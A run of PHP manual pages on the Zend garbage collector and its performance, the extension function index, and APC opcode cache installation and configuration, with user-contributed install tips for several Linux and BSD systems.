Besides changing the zend.enable_gc configuration setting, it is also possible to turn the garbage collecting mechanism on and off by calling gc_enable() or gc_disable() respectively. Calling those functions has the same effect as turning on or off the mechanism with the configuration setting. It is also possible to force the collection of cycles even if the possible root buffer is not full yet. For this, you can use the gc_collect_cycles() function. This function will return how many cycles were collected by the algorithm.

The rationale behind the ability to turn the mechanism on and off, and to initiate cycle collection yourself, is that some parts of your application could be highly time-sensitive. In those cases, you might not want the garbage collection mechanism to kick in. Of course, by turning off the garbage collection for certain parts of your application, you do risk creating memory leaks because some possible roots might not fit into the limited root buffer. Therefore, it is probably wise to call gc_collect_cycles() just before you call gc_disable() to free up the memory that could be lost through possible roots that are already recorded in the root buffer. This then leaves an empty buffer so that there is more space for storing possible roots while the cycle collecting mechanism is turned off.

User Contributed Notes

There are no user contributed notes for this page.
Reference Counting Basics
Performance Considerations
Garbage Collection


Performance Considerations

We have already mentioned in the previous section that simply collecting the possible roots had a very tiny performance impact, but this is when you compare PHP 5.2 against PHP 5.3. Although the recording of possible roots compared to not recording them at all, like in PHP 5.2, is slower, other changes to the PHP runtime in PHP 5.3 prevented this particular performance loss from even showing.

There are two major areas in which performance is affected. The first area is reduced memory usage, and the second area is run-time delay when the garbage collection mechanism performs its memory cleanups. We will look at both of those issues.

Reduced Memory Usage

First of all, the whole reason for implementing the garbage collection mechanism is to reduce memory usage by cleaning up circular-referenced variables as soon as the prerequisites are fulfilled. In PHP's implementation, this happens as soon as the root-buffer is full, or when the function gc_collect_cycles() is called. In the graph below, we display the memory usage of the script below, in both PHP 5.2 and PHP 5.3, excluding the base memory that PHP itself uses when starting up.

Example #1 Memory usage example

<?php
class Foo
{
    public $var = '3.1415962654';
}

$baseMemory = memory_get_usage();

for ( $i = 0; $i <= 100000; $i++ )
{
    $a = new Foo;
    $a->self = $a;
    if ( $i % 500 === 0 )
    {
        echo sprintf( '%8d: ', $i ), memory_get_usage() - $baseMemory, "\n";
    }
}
?>
Comparison of memory usage between PHP 5.2 and PHP 5.3

In this very academic example, we are creating an object in which a property is set to point back to the object itself. When the $a variable in the script is re-assigned in the next iteration of the loop, a memory leak would typically occur. In this case, two zval-containers are leaked (the object zval, and the property zval), but only one possible root is found: the variable that was unset. When the root-buffer is full after 10,000 iterations (with a total of 10,000 possible roots), the garbage collection mechanism kicks in and frees the memory associated with those possible roots. This can very clearly be seen in the jagged memory-usage graph for PHP 5.3. After each 10,000 iterations, the mechanism kicks in and frees the memory associated with the circular referenced variables. The mechanism itself does not have to do a whole lot of work in this example, because the structure that is leaked is extremely simple. From the diagram, you see that the maximum memory usage in PHP 5.3 is about 9 Mb, whereas in PHP 5.2 the memory usage keeps increasing.

Run-Time Slowdowns

The second area where the garbage collection mechanism influences performance is the time taken when the garbage collection mechanism kicks in to free the "leaked" memory. In order to see how much this is, we slightly modify the previous script to allow for a larger number of iterations and the removal of the intermediate memory usage figures. The second script is here:

Example #2 GC performance influences

<?php
class Foo
{
    public $var = '3.1415962654';
}

for ( $i = 0; $i <= 1000000; $i++ )
{
    $a = new Foo;
    $a->self = $a;
}

echo memory_get_peak_usage(), "\n";
?>

We will run this script two times, once with the zend.enable_gc setting turned on, and once with it turned off:

Example #3 Running the above script

time php -dzend.enable_gc=0 -dmemory_limit=-1 -n example2.php
# and
time php -dzend.enable_gc=1 -dmemory_limit=-1 -n example2.php

On my machine, the first command seems to take consistently about 10.7 seconds, whereas the second command takes about 11.4 seconds. This is a slowdown of about 7%. However, the maximum amount of memory used by the script is reduced by 98% from 931Mb to 10Mb. This benchmark is not very scientific, or even representative of real-life applications, but it does demonstrate the memory usage benefits that this garbage collection mechanism provides. The good thing is that the slowdown is always the same 7%, for this particular script, while the memory saving capabilities save more and more memory as more circular references are found during script execution.

PHP's Internal GC Statistics

It is possible to coax a little bit more information about how the garbage collection mechanism is run from within PHP. But in order to do so, you will have to re-compile PHP to enable the benchmark and data-collecting code. You will have to set the CFLAGS environment variable to -DGC_BENCH=1 prior to running ./configure with your desired options. The following sequence should do the trick:

Example #4 Recompiling PHP to enable GC benchmarking

export CFLAGS=-DGC_BENCH=1
./config.nice
make clean
make

When you run the above example code again with the newly built PHP binary, you will see the following being shown after PHP has finished execution:

Example #5 GC statistics

GC Statistics
-------------
Runs:               110
Collected:          2072204
Root buffer length: 0
Root buffer peak:   10000

      Possible            Remove from  Marked
        Root    Buffered     buffer     grey
      --------  --------  -----------  ------
ZVAL   7175487   1491291    1241690   3611871
ZOBJ  28506264   1527980     677581   1025731

The most informative statistics are displayed in the first block. You can see here that the garbage collection mechanism ran 110 times, and in total, more than 2 million memory allocations were freed during those 110 runs. As soon as the garbage collection mechanism has run at least one time, the "Root buffer peak" is always 10000.

Conclusion

In general the garbage collector in PHP will only cause a slowdown when the cycle collecting algorithm actually runs, whereas in normal (smaller) scripts there should be no performance hit at all.

However, in the cases where the cycle collection mechanism does run for normal scripts, the memory reduction it will provide allows more of those scripts to run concurrently on your server, since not so much memory is used in total.

The benefits are most apparent for longer-running scripts, such as lengthy test suites or daemon scripts. Also, for » PHP-GTK applications that generally tend to run longer than scripts for the Web, the new mechanism should make quite a bit of a difference regarding memory leaks creeping in over time.

User Contributed Notes

There are no user contributed notes for this page.
Collecting Cycles
Function Reference
Garbage Collection


Function Reference

Tip

See also Extension List/Categorization.

  • Affecting PHP's Behaviour
    • APC — Alternative PHP Cache
    • APD — Advanced PHP debugger
    • bcompiler — PHP bytecode Compiler
    • Error Handling — Error Handling and Logging
    • htscanner — htaccess-like support for all SAPIs
    • inclued — Inclusion hierarchy viewer
    • Memtrack
    • Output Control — Output Buffering Control
    • Object overloading — Object property and method call overloading
    • PHP Options/Info — PHP Options and Information
    • runkit
    • scream — Break the silence operator
    • Weakref — Weak References
    • WinCache — Windows Cache for PHP
    • Xhprof — Hierarchical Profiler
  • Audio Formats Manipulation
    • ID3 — ID3 Tags
    • KTaglib
    • oggvorbis — OGG/Vorbis
    • OpenAL — OpenAL Audio Bindings
  • Authentication Services
    • KADM5 — Kerberos V
    • Radius
  • Date and Time Related Extensions
    • Calendar
    • Date/Time — Date and Time
  • Command Line Specific Extensions
    • Ncurses — Ncurses Terminal Screen Control
    • Newt
    • Readline — GNU Readline
  • Compression and Archive Extensions
    • Bzip2
    • LZF
    • Phar
    • Rar — Rar Archiving
    • Zip
    • Zlib — Zlib Compression
  • Credit Card Processing
    • MCVE — MCVE (Monetra) Payment
    • SPPLUS — SPPLUS Payment System
  • Cryptography Extensions
    • Crack — Cracklib
    • Hash — HASH Message Digest Framework
    • Mcrypt
    • Mhash
    • OpenSSL
  • Database Extensions
    • Abstraction Layers
    • Vendor Specific Database Extensions
  • File System Related Extensions
    • Direct IO
    • Directories
    • Fileinfo — File Information
    • Filesystem
    • Inotify
    • Mimetype
    • Proctitle
    • xattr
    • xdiff
  • Human Language and Character Encoding Support
    • Enchant — Enchant spelling library
    • FriBiDi
    • Gettext
    • iconv
    • intl — Internationalization Functions
    • Multibyte String
    • Pspell
    • Recode — GNU Recode
  • Image Processing and Generation
    • Cairo
    • Exif — Exchangeable image information
    • GD — Image Processing and GD
    • Gmagick
    • ImageMagick — Image Processing (ImageMagick)
  • Mail Related Extensions
    • Cyrus — Cyrus IMAP administration
    • IMAP — IMAP, POP3 and NNTP
    • Mail
    • Mailparse
    • vpopmail
  • Mathematical Extensions
    • BC Math — BCMath Arbitrary Precision Mathematics
    • GMP — GNU Multiple Precision
    • Math — Mathematical Functions
    • Statistics
  • Non-Text MIME Output
    • FDF — Forms Data Format
    • GnuPG — GNU Privacy Guard
    • haru — Haru PDF
    • Ming — Ming (flash)
    • PDF
    • PS — PostScript document creation
    • RPM Reader — RPM Header Reading
    • SWF — Shockwave Flash
  • Process Control Extensions
    • Eio
    • Expect
    • Libevent
    • PCNTL — Process Control
    • POSIX
    • Program execution — System program execution
    • Semaphore — Semaphore, Shared Memory and IPC
    • Shared Memory
  • Other Basic Extensions
    • GeoIP — Geo IP Location
    • JSON — JavaScript Object Notation
    • Judy — Judy Arrays
    • Lua
    • Misc. — Miscellaneous Functions
    • Parsekit
    • SPL — Standard PHP Library (SPL)
    • SPL Types — SPL Type Handling
    • Streams
    • Tidy
    • Tokenizer
    • URLs
    • V8js — V8 Javascript Engine Integration
    • Yaml — YAML Data Serialization
    • Yaf
  • Other Services
    • AMQP
    • chdb — Constant hash database
    • cURL — Client URL Library
    • FAM — File Alteration Monitor
    • FTP
    • Gearman
    • Gopher — Net Gopher
    • Gupnp
    • HTTP
    • Hyperwave
    • Hyperwave API
    • Java — PHP / Java Integration
    • LDAP — Lightweight Directory Access Protocol
    • Lotus Notes
    • Memcache
    • Memcached
    • mqseries
    • Network
    • RRD — RRDtool
    • SAM — Simple Asynchronous Messaging
    • SNMP
    • Sockets
    • SSH2 — Secure Shell2
    • Stomp — Stomp Client
    • SVM — Support Vector Machine
    • SVN — Subversion
    • TCP — TCP Wrappers
    • Varnish
    • YAZ
    • YP/NIS
  • Search Engine Extensions
    • mnoGoSearch
    • Solr — Apache Solr
    • Sphinx — Sphinx Client
    • Swish — Swish Indexing
  • Server Specific Extensions
    • Apache
    • IIS — IIS Administration
    • NSAPI
  • Session Extensions
    • Msession — Mohawk Software Session Handler Functions
    • Sessions — Session Handling
    • Session PgSQL — PostgreSQL Session Save Handler
  • Text Processing
    • BBCode — Bulletin Board Code
    • PCRE — Regular Expressions (Perl-Compatible)
    • POSIX Regex — Regular Expression (POSIX Extended)
    • ssdeep — ssdeep Fuzzy Hashing
    • Strings
  • Variable and Type Related Extensions
    • Arrays
    • Classes/Objects — Class/Object Information
    • Classkit
    • Ctype — Character type checking
    • Filter — Data Filtering
    • Function Handling
    • Object Aggregation — Object Aggregation/Composition [PHP 4]
    • Quickhash
    • Reflection
    • Variable handling
  • Web Services
    • OAuth
    • SCA
    • SOAP
    • XML-RPC
  • Windows Only Extensions
    • .NET
    • COM — COM and .Net (Windows)
    • Printer
    • W32api
    • win32ps
    • win32service
  • XML Manipulation
    • DOM — Document Object Model
    • DOM XML (PHP 4)
    • libxml
    • qtdom
    • SDO — Service Data Objects
    • SDO-DAS-Relational — SDO Relational Data Access Service
    • SDO DAS XML — SDO XML Data Access Service
    • SimpleXML
    • WDDX
    • XML Parser
    • XMLReader
    • XMLWriter
    • XSL
    • XSLT (PHP 4)

User Contributed Notes

There are no user contributed notes for this page.
Performance Considerations
Affecting PHP's Behaviour


Affecting PHP's Behaviour

  • APC — Alternative PHP Cache
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • APC Functions
    • APCIterator — The APCIterator class
  • APD — Advanced PHP debugger
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • APD Functions
  • bcompiler — PHP bytecode Compiler
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • bcompiler Functions
  • Error Handling — Error Handling and Logging
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Error Handling Functions
  • htscanner — htaccess-like support for all SAPIs
    • Introduction
    • Installing/Configuring
  • inclued — Inclusion hierarchy viewer
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • inclued Functions
  • Memtrack
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
  • Output Control — Output Buffering Control
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Output Control Functions
  • Object overloading — Object property and method call overloading
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Object overloading Functions
  • PHP Options/Info — PHP Options and Information
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • PHP Options/Info Functions
  • runkit
    • Introduction
    • Predefined Constants
    • Installing/Configuring
    • runkit Functions
  • scream — Break the silence operator
    • Introduction
    • Installing/Configuring
    • Examples
  • Weakref — Weak References
    • Introduction
    • Installing/Configuring
    • Weakref — The Weakref class
  • WinCache — Windows Cache for PHP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • WinCache Functions
    • Building for Windows
  • Xhprof — Hierarchical Profiler
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Xhprof Functions

User Contributed Notes

There are no user contributed notes for this page.
Function Reference
APC
Function Reference


Alternative PHP Cache

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • APC Functions
    • apc_add — Cache a variable in the data store
    • apc_bin_dump — Get a binary dump of the given files and user variables
    • apc_bin_dumpfile — Output a binary dump of cached files and user variables to a file
    • apc_bin_load — Load a binary dump into the APC file/user cache
    • apc_bin_loadfile — Load a binary dump from a file into the APC file/user cache
    • apc_cache_info — Retrieves cached information from APC's data store
    • apc_cas — Updates an old value with a new value
    • apc_clear_cache — Clears the APC cache
    • apc_compile_file — Stores a file in the bytecode cache, bypassing all filters.
    • apc_dec — Decrease a stored number
    • apc_define_constants — Defines a set of constants for retrieval and mass-definition
    • apc_delete_file — Deletes files from the opcode cache
    • apc_delete — Removes a stored variable from the cache
    • apc_exists — Checks if APC key exists
    • apc_fetch — Fetch a stored variable from the cache
    • apc_inc — Increase a stored number
    • apc_load_constants — Loads a set of constants from the cache
    • apc_sma_info — Retrieves APC's Shared Memory Allocation information
    • apc_store — Cache a variable in the data store
  • APCIterator — The APCIterator class
    • APCIterator::__construct — Constructs an APCIterator iterator object
    • APCIterator::current — Get current item
    • APCIterator::getTotalCount — Get total count
    • APCIterator::getTotalHits — Get total cache hits
    • APCIterator::getTotalSize — Get total cache size
    • APCIterator::key — Get iterator key
    • APCIterator::next — Move pointer to next item
    • APCIterator::rewind — Rewinds iterator
    • APCIterator::valid — Checks if current position is valid

User Contributed Notes

umut dot kirgoz at gmail dot com 26-Sep-2011 12:32
Since APC 3.1.3, there is a bug (http://pecl.php.net/bugs/bug.php?id=16814) which produces warnings like "Potential Cache Slam Averted for Key" when slam defense is on and you're trying to write a key that already exists.

These is not a fix right now for this, but you can change the APC settings from php.ini file like below if possible:

apc.write_lock = 1
apc.slam_defense = 0
bugzilla33 at gmail dot com 06-Sep-2010 01:25
Attention:

APC 3.1.4 does not work with files in PHAR archives.
phar:// stream wrappers including by require funcion are not cached.
hello at haroonahmad dot co dot uk 16-Jun-2009 03:57
Disclaimer: i do not guarantee it will work for you so you better use it at your own risk. It works for me.

* I am using # symbol for all shell commands

I am posting a quick step-by-step guide to install APC on servers (dedicated or VPS) with cpanel/whm working.

First login as a root to your server/vps and make a directory to work with this plugin,

#mkdir /home/APC-php

#cd /home/APC-php

now here we will first download the APC with following command

#wget http://pecl.php.net/get/APC-3.0.14.tgz

you can check for the latest version

now you can use gzip and tar separately or tar -xzvf to unzip this file

#tar -xzvf APC-3.0.14.tgz

now you will have a APC-3.0.14 folder.

#cd APC-3.0.14

now you have to make php configuration files by following command

#phpize

after this use following three commands

# ./configure --enable-apc --enable-apc-mmap --with-apxs --with-php-config=/usr/bin/php-config

*if you do not know the php path then execute ( which php ) command it will display the path. on a typical cpanel vps it could be /usr/bin/php-config or /usr/local/bin/php-config but you better check it before executing the above command)

#make

#make test

#make install

NOTE: if you are using suPHP then skip --with-apxs

*one more thing, if you use

#make test

command it shows 3 tests failed then do not worry, it showed at least to me but worked with the final steps.

the (make install) command will return the apc.so module path, note down that with you as you will have to feed it in the php.ini file in the next step.

check your php.ini location by

#php -i | grep php.ini

then open it with your favorite editor. mine was at

#vi /usr/local/lib/php.ini

and go to the last line and paste the following

extension="apc.so"

now there is a catch in it, if you have other modules installed and their extension directory is different than the one MAKE INSTALL showed for APC so you have to move your apc.so to that directory so that all modules are in the same directory. in my case my APC directory was

/usr/lib/php/extensions/no-debug-non-zts-20060613/

but i moved apc.so from this location to my other location where my other extensions.so files were.

you can check that path in php.ini sectiion of

extension_dir = ""

after this restart your apache, for different servers it may vary mine worked with

#service httpd restart

if everything works fine it will restart apache without showing any error. in case of any error, roll back your php.ini changes and restart apache and discuss your problem in some forum or email me at hello@haroonahmad.co.uk

now check the phpinfo() output in your browser and it will display APC version information etc. for command line you might do

php -i | grep apc

I hope it helps.

Haroon Ahmad
Affecting PHP's Behaviour
Introduction
Affecting PHP's Behaviour


Introduction

The Alternative PHP Cache (APC) is a free and open opcode cache for PHP. Its goal is to provide a free, open, and robust framework for caching and optimizing PHP intermediate code.

User Contributed Notes

There are no user contributed notes for this page.
APC
Installing/Configuring
APC


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
APC


Requirements

No external libraries are needed to build this extension.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/apc.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note: On Windows, APC needs a temp path to exist, and be writable by the web server. It checks the TMP, TEMP and USERPROFILE environment variables in that order and finally tries the WINDOWS directory if none of those are set.

Note: For more in-depth, highly technical implementation details, see the » developer-supplied TECHNOTES file .

User Contributed Notes

Anonymous 24-Jan-2012 12:16
On my Debian Squeeze 64-bit I also had to install the package "apache2-threaded-dev" with this command "apt-get install apache2-threaded-dev". Afterwards I did "pecl install apc" and everything seemed to work fine.
scarywound at gmail com 22-Nov-2011 12:45
Pay attention to the fact that installing php-apc package gives you APC version 3.1.3p1, which is according to http://pecl.php.net/package/APC UNSTABLE. If you want the latest STABLE edition (3.1.9 by now), you should use 'sudo pecl install apc' instead.
brian at diamondsea dot com 17-Jun-2011 07:34
When installing on Plesk and cPanel machines, I get the following error message:

[root@web1 ~]# pecl install apc
downloading APC-3.1.9.tgz ...
Starting to download APC-3.1.9.tgz (155,540 bytes)
.................................done: 155,540 bytes
54 source files, building
running: phpize
Configuring for:
PHP Api Version:         20041225
Zend Module Api No:      20060613
Zend Extension Api No:   220060519
/usr/bin/phpize: /tmp/pear/temp/APC/build/shtool: /bin/sh: bad interpreter: Permission denied
Cannot find autoconf. Please check your autoconf installation and the
$PHP_AUTOCONF environment variable. Then, rerun this script.

ERROR: `phpize' failed

The problem is caused by the /tmp/ filesystem being mounted noexec, which keeps any programs on /tmp/ from being allowed to be executed, which breaks the install script.

To remount /tmp/ as executable, use:

[root@web1 ~]# mount -o remount,exec,suid /tmp

The it should install correctly.

After the install is done, remount the /tmp/ filesystem with the noexec permissions reset.

[root@web1 ~]# mount -o remount,noexec,nosuid /tmp
pr at outwit dot com 15-Aug-2009 02:11
Installed successfully on different FreeBSD servers, with mmap and IPC semaphores, but I got an error on a 64 bits box :

apc_sem_create: semctl(65536,...) failed: Result too large

I had to increase maximum semaphore value :

# sysctl kern.ipc.semvmx=131068
kern.ipc.semvmx: 32767 -> 131068
# echo "kern.ipc.semvmx=131068" >>  /etc/sysctl.conf

Works like a charm.
toby at telegraphics dot com dot au 04-Apr-2009 10:04
On Gentoo,

# emerge pecl-apc

Check installation:

 $ php -r 'phpinfo();' |grep apc
additional .ini files parsed => /etc/php/cli-php5/ext-active/apc.ini,
apc
apc.cache_by_default => On => On
apc.coredump_unmap => Off => Off
apc.enable_cli => Off => Off
apc.enabled => On => On
apc.file_update_protection => 2 => 2
apc.filters => no value => no value
apc.gc_ttl => 3600 => 3600
apc.include_once_override => Off => Off
apc.max_file_size => 1M => 1M
apc.num_files_hint => 1024 => 1024
apc.report_autofilter => Off => Off
apc.rfc1867 => Off => Off
apc.rfc1867_freq => 0 => 0
apc.rfc1867_name => APC_UPLOAD_PROGRESS => APC_UPLOAD_PROGRESS
apc.rfc1867_prefix => upload_ => upload_
apc.shm_segments => 1 => 1
apc.shm_size => 30 => 30
apc.slam_defense => 0 => 0
apc.stat => On => On
apc.stat_ctime => Off => Off
apc.ttl => 7200 => 7200
apc.user_entries_hint => 4096 => 4096
apc.user_ttl => 7200 => 7200
apc.write_lock => On => On
suhosin.apc_bug_workaround => Off => Off
61924 dot 00 at gmail dot com 11-Dec-2008 10:23
sudo apt-get install php-apc
sudo /etc/init.d/apache2 restart

Was enough for me. I use Ubuntu Server 8.10.
Anonymous 25-Jul-2008 03:18
On Ubuntu I had to install the apache2-threaded-dev package.  It's the the Etch repos.
consistency 23-Jul-2008 01:07
debian etch installation

apt-get install apache2
apt-get install libapache2-mod-php5
apt-get install php-pear
apt-get install php5-dev
apt-get install make
apt-get install apache2-prefork-dev
pecl install apc

apache2-prefork-dev is necessary for not having the
"Sorry, I was not able to successfully run APXS."
error
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Although the default APC settings are fine for many installations, serious users should consider tuning the following parameters.

There are two primary decisions to be made configuring APC. First, how much memory is going to be allocated to APC; and second, whether APC will check if a file has been modified on every request. The two ini directives that control these settings are apc.shm_size and apc.stat, respectively. Read the sections on these two directive carefully below.

Once the server is running, the apc.php script that is bundled with the extension should be copied somewhere into the docroot and viewed with a browser as it provides a detailed analysis of the internal workings of APC. If GD is enabled in PHP, it will even display some interesting graphs. The first thing to ensure, of course, is that it is actually caching files. If APC is working, the Cache full count number (on the left) will display the number of times the cache has reached maximum capacity and has had to forcefully clean any entries that haven't been accessed in the last apc.ttl seconds. This number is minimized in a well-configured cache. If the cache is constantly being filled, and thusly forcefully freed, the resulting churning will have disparaging effects on script performance. The easiest way to minimize this number is to allocate more memory for APC. Barring that, the apc.filters ought to be used to cache fewer scripts.

When APC is compiled with mmap support (Memory Mapping), it will use only one memory segment, unlike when APC is built with SHM (SysV Shared Memory) support that uses multiple memory segments. MMAP does not have a maximum limit like SHM does in /proc/sys/kernel/shmmax. In general MMAP support is recommeded because it will reclaim the memory faster when the webserver is restarted and all in all reduces memory allocation impact at startup.

APC configuration options
Name | Default | Changeable | Changelog
apc.enabled | "1" | PHP_INI_SYSTEM | PHP_INI_SYSTEM in APC 2. PHP_INI_ALL in APC <= 3.0.12.
apc.shm_segments | "1" | PHP_INI_SYSTEM |
apc.shm_size | "32M" | PHP_INI_SYSTEM |
apc.optimization | "0" | PHP_INI_ALL | PHP_INI_SYSTEM in APC 2. Removed in APC 3.0.13.
apc.num_files_hint | "1000" | PHP_INI_SYSTEM |
apc.user_entries_hint | "4096" | PHP_INI_SYSTEM | Available since APC 3.0.0.
apc.ttl | "0" | PHP_INI_SYSTEM | Available since APC 3.0.0.
apc.user_ttl | "0" | PHP_INI_SYSTEM | Available since APC 3.0.0.
apc.gc_ttl | "3600" | PHP_INI_SYSTEM |
apc.cache_by_default | "1" | PHP_INI_ALL | PHP_INI_SYSTEM in APC <= 3.0.12. Available since APC 3.0.0.
apc.filters | NULL | PHP_INI_SYSTEM |
apc.mmap_file_mask | NULL | PHP_INI_SYSTEM |
apc.slam_defense | "1" | PHP_INI_SYSTEM | Available since APC 3.0.0. Prior to APC 3.1.4, the default value was "0" (disabled).
apc.file_update_protection | "2" | PHP_INI_SYSTEM | Available since APC 3.0.6.
apc.enable_cli | "0" | PHP_INI_SYSTEM | Available since APC 3.0.7.
apc.max_file_size | "1M" | PHP_INI_SYSTEM | Available since APC 3.0.7.
apc.use_request_time | "1" | PHP_INI_ALL | Available since APC 3.1.3.
apc.stat | "1" | PHP_INI_SYSTEM | Available since APC 3.0.10.
apc.write_lock | "1" | PHP_INI_SYSTEM | Available since APC 3.0.11.
apc.report_autofilter | "0" | PHP_INI_SYSTEM | Available since APC 3.0.11.
apc.include_once_override | "0" | PHP_INI_SYSTEM | Available since APC 3.0.12.
apc.rfc1867 | "0" | PHP_INI_SYSTEM | Available since APC 3.0.13.
apc.rfc1867_prefix | "upload_" | PHP_INI_SYSTEM |
apc.rfc1867_name | "APC_UPLOAD_PROGRESS" | PHP_INI_SYSTEM |
apc.rfc1867_freq | "0" | PHP_INI_SYSTEM |
apc.rfc1867_ttl | "3600" | PHP_INI_SYSTEM | Available since APC 3.1.1.
apc.localcache | "0" | PHP_INI_SYSTEM | Available since APC 3.0.14.
apc.localcache.size | "512" | PHP_INI_SYSTEM | Available since APC 3.0.14.
apc.coredump_unmap | "0" | PHP_INI_SYSTEM | Available since APC 3.0.16.
apc.stat_ctime | "0" | PHP_INI_SYSTEM | Available since APC 3.0.13.
apc.preload_path | NULL | PHP_INI_SYSTEM | Available since APC 3.1.1.
apc.file_md5 | "0" | PHP_INI_SYSTEM | Available since APC 3.1.1.
apc.canonicalize | "1" | PHP_INI_SYSTEM | Available since APC 3.1.1.
apc.lazy_functions | 0 | PHP_INI_SYSTEM | Available since APC 3.1.3.
apc.lazy_classes | 0 | PHP_INI_SYSTEM | Available since APC 3.1.3.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

apc.enabled boolean

apc.enabled can be set to 0 to disable APC. This is primarily useful when APC is statically compiled into PHP, since there is no other way to disable it (when compiled as a DSO, the extension line in php.ini can just be commented-out).

apc.shm_segments integer

The number of shared memory segments to allocate for the compiler cache. If APC is running out of shared memory but apc.shm_size is set as high as the system allows, raising this value might prevent APC from exhausting its memory.

apc.shm_size integer

The size of each shared memory segment in MB. By default, some systems (including most BSD variants) have very low limits on the size of a shared memory segment.

apc.optimization integer

The optimization level. Zero disables the optimizer, and higher values use more aggressive optimizations. Expect very modest speed improvements. This is experimental.

apc.num_files_hint integer

A "hint" about the number of distinct source files that will be included or requested on your web server. Set to zero or omit if unsure; this setting is mainly useful for sites that have many thousands of source files.

apc.user_entries_hint integer

Just like apc.num_files_hint, a "hint" about the number of distinct user cache variables to store. Set to zero or omit if not sure.

apc.ttl integer

The number of seconds a cache entry is allowed to idle in a slot in case this cache entry slot is needed by another entry. Leaving this at zero means that APC's cache could potentially fill up with stale entries while newer entries won't be cached. In the event of a cache running out of available memory, the cache will be completely expunged if ttl is equal to 0. Otherwise, if the ttl is greater than 0, APC will attempt to remove expired entries.

apc.user_ttl integer

The number of seconds a cache entry is allowed to idle in a slot in case this cache entry slot is needed by another entry. Leaving this at zero means that APC's cache could potentially fill up with stale entries while newer entries won't be cached. In the event of a cache running out of available memory, the cache will be completely expunged if ttl is equal to 0. Otherwise, if the ttl is greater than 0, APC will attempt to remove expired entries.

apc.gc_ttl integer

The number of seconds that a cache entry may remain on the garbage-collection list. This value provides a fail-safe in the event that a server process dies while executing a cached source file; if that source file is modified, the memory allocated for the old version will not be reclaimed until this TTL reached. Set to zero to disable this feature.

apc.cache_by_default boolean

On by default, but can be set to off and used in conjunction with positive apc.filters so that files are only cached if matched by a positive filter.

apc.filters string

A comma-separated list of POSIX extended regular expressions. If any pattern matches the source filename, the file will not be cached. Note that the filename used for matching is the one passed to include/require, not the absolute path. If the first character of the expression is a + then the expression will be additive in the sense that any files matched by the expression will be cached, and if the first character is a - then anything matched will not be cached. The - case is the default, so it can be left off.

apc.mmap_file_mask string

If compiled with MMAP support by using --enable-mmap this is the mktemp-style file_mask to pass to the mmap module for determining whether your mmap'ed memory region is going to be file-backed or shared memory backed. For straight file-backed mmap, set it to something like /tmp/apc.XXXXXX (exactly 6 Xs). To use POSIX-style shm_open/mmap put a .shm somewhere in your mask. e.g. /apc.shm.XXXXXX You can also set it to /dev/zero to use your kernel's /dev/zero interface to anonymous mmap'ed memory. Leaving it undefined will force an anonymous mmap.

apc.slam_defense integer

On very busy servers whenever you start the server or modify files you can create a race of many processes all trying to cache the same file at the same time. This option sets the percentage of processes that will skip trying to cache an uncached file. Or think of it as the probability of a single process to skip caching. For example, setting apc.slam_defense to 75 would mean that there is a 75% chance that the process will not cache an uncached file. So, the higher the setting the greater the defense against cache slams. Setting this to 0 disables this feature.

Deprecated by apc.write_lock.

apc.file_update_protection integer

When a file is modified on a live web server it really ought to be done in an atomic manner. That is, written to a temporary file and renamed (mv) the file into its permanent position when it is ready. Many text editors, cp, tar and other such programs don't do this. This means that there is a chance that a file is accessed (and cached) while it is still being written to. This apc.file_update_protection setting puts a delay on caching brand new files. The default is 2 seconds, which means that if the modification timestamp (mtime) on a file shows that it is less than 2 seconds old when it is accessed, it will not be cached. The unfortunate person who accessed this half-written file will still see weirdness, but at least it won't persist. If all of the webserver's files are atomically updated, via some method like rsync (which updates correctly), this protection can be disabled by setting this directive to 0. If the system is flooded with i/o and some update procedures are taking longer than 2 seconds, this setting should be increased to enable the protection on those slower update operations.

apc.enable_cli integer

Mostly for testing and debugging. Setting this enables APC for the CLI version of PHP. Under normal circumstances, it is not ideal to create, populate and destroy the APC cache on every CLI request, but for various test scenarios it is useful to be able to enable APC for the CLI version of PHP easily.

apc.max_file_size integer

Prevent files larger than this value from getting cached. Defaults to 1M.

apc.stat integer

Be careful changing this setting. This defaults to on, forcing APC to stat (check) the script on each request to determine if it has been modified. If it has been modified it will recompile and cache the new version. If this setting is off, APC will not check, which usually means that to force APC to recheck files, the web server will have to be restarted or the cache will have to be manually cleared. Note that FastCGI web server configurations may not clear the cache on restart. On a production server where the script files rarely change, a significant performance boost can be achieved by disabled stats.

For included/required files this option applies as well, but note that for relative path includes (any path that doesn't start with / on Unix) APC has to check in order to uniquely identify the file. If you use absolute path includes APC can skip the stat and use that absolute path as the unique identifier for the file.

apc.write_lock boolean

On busy servers, when the web server is first started, or when many files have been modified at the same time, APC may try to compile and cache the same file multiple times. Write_lock guarantees that only one process will attempt to compile and cache an uncached script. The other processes attempting to use the script will run without using the opcode cache, rather than locking and waiting for the cache to prime.

apc.report_autofilter boolean

Logs any scripts that were automatically excluded from being cached due to early/late binding issues.

apc.include_once_override boolean

Optimize include_once() and require_once() calls and avoid the expensive system calls used.

apc.rfc1867 boolean

